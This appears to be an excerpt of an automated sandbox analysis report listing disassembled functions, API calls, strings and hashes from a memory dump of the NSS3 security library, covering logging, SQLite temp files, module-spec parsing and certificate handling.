Part of subcall function 6CB71240: PR_Unlock.NSS3(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB712A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB71DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CB71E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CB71EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CB71ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CB71EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CB71F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB71F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CB71F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CB71F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB71F83
PR_SetLogFile.NSS3(00000000), ref: 6CB71FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CB71FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CB71FCB
free.MOZGLUE(00000000), ref: 6CB71FD2

Strings

, %n, xrefs: 6CB71E6B
sync, xrefs: 6CB71E46
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CB71E27
all, xrefs: 6CB71F0E
bufsize, xrefs: 6CB71E9B
Unable to create nspr log file '%s', xrefs: 6CB71FB3
timestamp, xrefs: 6CB71EC4
NSPR_LOG_MODULES, xrefs: 6CB71DAD
append, xrefs: 6CB71EE6
NSPR_LOG_FILE, xrefs: 6CB71F69

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 49494e2f07ab5a7f048ad92341e3f9998982bfdc41eeca44dc55fa35ef86bcda
Instruction ID: 63281faae626a9c3dd4e0446b0e51462946e78c7d689001f39b076c79e89bff6
Opcode Fuzzy Hash: 49494e2f07ab5a7f048ad92341e3f9998982bfdc41eeca44dc55fa35ef86bcda
Instruction Fuzzy Hash: 245180B1D002999BDF10DBE4CD54A9E77B8AF05309F184528EC2AEBA01F770E518CB72

Function 6CC56E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CB6F9C9,?,6CB6F4DA,6CB6F9C9,?,?,6CB3369A), ref: 6CB0CA7A
Part of subcall function 6CB0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB0CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CB1BE66), ref: 6CC56E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CB1BE66), ref: 6CC56E98
sqlite3_snprintf.NSS3(?,00000000,6CCBAAF9,?,?,?,?,?,?,6CB1BE66), ref: 6CC56EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CB1BE66), ref: 6CC56ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CB1BE66), ref: 6CC56EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CB1BE66), ref: 6CC56FA6
sqlite3_snprintf.NSS3(?,00000000,6CCBAAF9,00000000,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC57014
sqlite3_free.NSS3(00000000,?,?,?,?,6CB1BE66), ref: 6CC5701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CB1BE66), ref: 6CC57030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC5705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CB1BE66), ref: 6CC57079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC57097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC570A0

Strings

mz_etilqs_, xrefs: 6CC56F18
winGetTempname5, xrefs: 6CC57071
winGetTempname1, xrefs: 6CC5708F
winGetTempname2, xrefs: 6CC570C4
winGetTempname4, xrefs: 6CC57046

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 8d23c44f4be646eace690484ca7d8038b8a5068282d9ed08d99b499711e8f143
Instruction ID: ef66b07c9f1b3dc5c4cf7f149a26961f0b5f3d48869ae156be0ec9f243e1db16
Opcode Fuzzy Hash: 8d23c44f4be646eace690484ca7d8038b8a5068282d9ed08d99b499711e8f143
Instruction Fuzzy Hash: 015168B1F105116BE70096309C51FBF36669BD2318F544638E80296BC2FB66A93E82E7

Function 6CBE4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000,00000000,00000001), ref: 6CBE5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBE5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CBE5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CBE50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2), ref: 6CBE50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBE50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5153
free.MOZGLUE(?), ref: 6CBE516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBE517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE5195

Strings

name=, xrefs: 6CBE5057
library=, xrefs: 6CBE5043
nss=, xrefs: 6CBE5083
parameters=, xrefs: 6CBE506B
config=, xrefs: 6CBE509B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: b515e819ef4764878a12b2cd2d3bfec73f56a17a54f1588cd47dd815ec85ee25
Instruction ID: 6460edeac5b7bb5129a620bcd9f58ab726268802429c62646abc5d33adb791c3
Opcode Fuzzy Hash: b515e819ef4764878a12b2cd2d3bfec73f56a17a54f1588cd47dd815ec85ee25
Instruction Fuzzy Hash: 0051A3B5A412555BEB00DF249C41AAE37B89F0A788F140460EC19E7741FB35E919CBB7

Function 6CBE4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4C5B
PR_smprintf.NSS3(6CCBAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CBE4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CBE4DA2
free.MOZGLUE(?), ref: 6CBE4DB9
free.MOZGLUE(00000000), ref: 6CBE4DCF

Strings

any, xrefs: 6CBE4C96
0x%08lx=[%s %s], xrefs: 6CBE4D80
every, xrefs: 6CBE4CA1
rootFlags, xrefs: 6CBE4D47
slotFlags, xrefs: 6CBE4D34
rust, xrefs: 6CBE4D22
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CBE4D9D
ootT, xrefs: 6CBE4D1A
%s,%s, xrefs: 6CBE4C4B
timeout, xrefs: 6CBE4C91

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 835283579228d4d0ad7ababb0e8c76303c6d10095610757b23a4f47390954fa4
Instruction ID: fb959a98417367d8aee73c36a39385a0efd5bf2d6cda790b3b9db17cccca9ee0
Opcode Fuzzy Hash: 835283579228d4d0ad7ababb0e8c76303c6d10095610757b23a4f47390954fa4
Instruction Fuzzy Hash: 30417BB19001D16BDB115F999C41ABF3675EB9A788F148128EC1A5BB01EB31EC54CBD3

Function 6CB8DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB8DDDE

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CB8DDF5

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB8DE34
PR_Now.NSS3 ref: 6CB8DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CB8DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB8DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB8DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB8DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CB8DEF0
PR_smprintf.NSS3(6CCBAAF9,(NULL) (Validity Unknown)), ref: 6CB8DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB8DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB8DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB8DF33
free.MOZGLUE(00000000), ref: 6CB8DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB8DF4B
free.MOZGLUE(00000000), ref: 6CB8DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8DF8E

Strings

{???}, xrefs: 6CB8DE8B
%s%s, xrefs: 6CB8DEEB
(NULL) (Validity Unknown), xrefs: 6CB8DEFA

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 483002d0046d4a052d7ded2928f5f2ebec5bfac5a9924b1df7268065332ffc7b
Instruction ID: 567f10df8998a1601c4718a60d0f6d8cc5cc10d00e39cffdba6ec0f5bff55e97
Opcode Fuzzy Hash: 483002d0046d4a052d7ded2928f5f2ebec5bfac5a9924b1df7268065332ffc7b
Instruction Fuzzy Hash: F951C5B1D011869BDF009F759C41AAF7AB8EF95758F14402AE809E7B01FB30D904CBE2

Function 6CBC2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CBC2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CBC2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBC2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBC2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CB94F1C,?,-00000001,00000000,?), ref: 6CBC2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CB94F1C,?,-00000001,00000000), ref: 6CBC2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBC2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBC2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBC2EF8
PR_Unlock.NSS3(?), ref: 6CBC2F62
TlsGetValue.KERNEL32 ref: 6CBC2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CBC2F9E
PR_Unlock.NSS3(?), ref: 6CBC2FCA
TlsGetValue.KERNEL32 ref: 6CBC301A
EnterCriticalSection.KERNEL32(?), ref: 6CBC302E
PR_Unlock.NSS3(?), ref: 6CBC3066
PR_SetError.NSS3(00000000,00000000), ref: 6CBC3085
PR_Unlock.NSS3(?), ref: 6CBC30EC
TlsGetValue.KERNEL32 ref: 6CBC310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CBC3124
PR_Unlock.NSS3(?), ref: 6CBC314C

Part of subcall function 6CBA9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CBD379E,?,6CBA9568,00000000,?,6CBD379E,?,00000001,?), ref: 6CBA918D
Part of subcall function 6CBA9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CBD379E,?,6CBA9568,00000000,?,6CBD379E,?,00000001,?), ref: 6CBA91A0

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

PR_SetError.NSS3(00000000,00000000), ref: 6CBC316D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 589befb716ebfca9751e39a862db53fa57320ec7bc1315544845a9c97a9e3974
Instruction ID: 6429eef50c892feea6140700442d48a840e44c725f8e4d8abe5e16b0edd0dfa2
Opcode Fuzzy Hash: 589befb716ebfca9751e39a862db53fa57320ec7bc1315544845a9c97a9e3974
Instruction Fuzzy Hash: 06F18BB1E00649AFEF00DF68D884B99BBB5FF09318F544169EC04A7711EB31E995CB92

Function 6CBA9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CBA9FBE

Part of subcall function 6CB82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB82F0A
Part of subcall function 6CB82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB82F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBAA015

Part of subcall function 6CBC1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CBC563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CBC195C
Part of subcall function 6CBC1940: EnterCriticalSection.KERNEL32(?,?,6CBC563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CB9EAC5,00000001), ref: 6CBC1970
Part of subcall function 6CBC1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CB9EAC5,00000001,?,6CB9CE9B,00000001,6CB9EAC5), ref: 6CBC19A0

PL_FreeArenaPool.NSS3(?), ref: 6CBAA067
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBAA055

Part of subcall function 6CB04C70: TlsGetValue.KERNEL32(?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04C97
Part of subcall function 6CB04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CB0
Part of subcall function 6CB04C70: PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBAA07E
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBAA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CBAA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CBAA0CF
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBAA12E
PL_FreeArenaPool.NSS3(?), ref: 6CBAA140
PL_FinishArenaPool.NSS3(?), ref: 6CBAA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBAA158
PL_FinishArenaPool.NSS3(?), ref: 6CBAA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CBAA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CBAA1B2
free.MOZGLUE(00000000), ref: 6CBAA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CBAA1D6

Part of subcall function 6CBC55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CB9EAC5,00000001,?,6CB9CE9B,00000001,6CB9EAC5,00000003,-00000004,00000000,?,6CB9EAC5), ref: 6CBC5627
Part of subcall function 6CBC55E0: PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0,?,?,?,?,?,?,?,?,?,?,6CB9EAC5,00000001,?,6CB9CE9B), ref: 6CBC564F
Part of subcall function 6CBC55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB9EAC5,00000001), ref: 6CBC5661
Part of subcall function 6CBC55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB9EAC5), ref: 6CBC56AF

Strings

security, xrefs: 6CBAA00F

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 5b39cdd5d6a9c7a40e2d521f297b016f79d2955de56b4aa978f83e223da31081
Instruction ID: 5b33ddfc188a016b56f99b2661ae5b021f86f91487f05818e6800e398b69e7a5
Opcode Fuzzy Hash: 5b39cdd5d6a9c7a40e2d521f297b016f79d2955de56b4aa978f83e223da31081
Instruction Fuzzy Hash: 385127B1E442896BEB108BE5DC44BAE7378EF4670CF100024E905ABB41E771D54ACFA2

Function 6CBC6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBC6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CBC6943
Part of subcall function 6CBC6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CBC6957
Part of subcall function 6CBC6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CBC6972
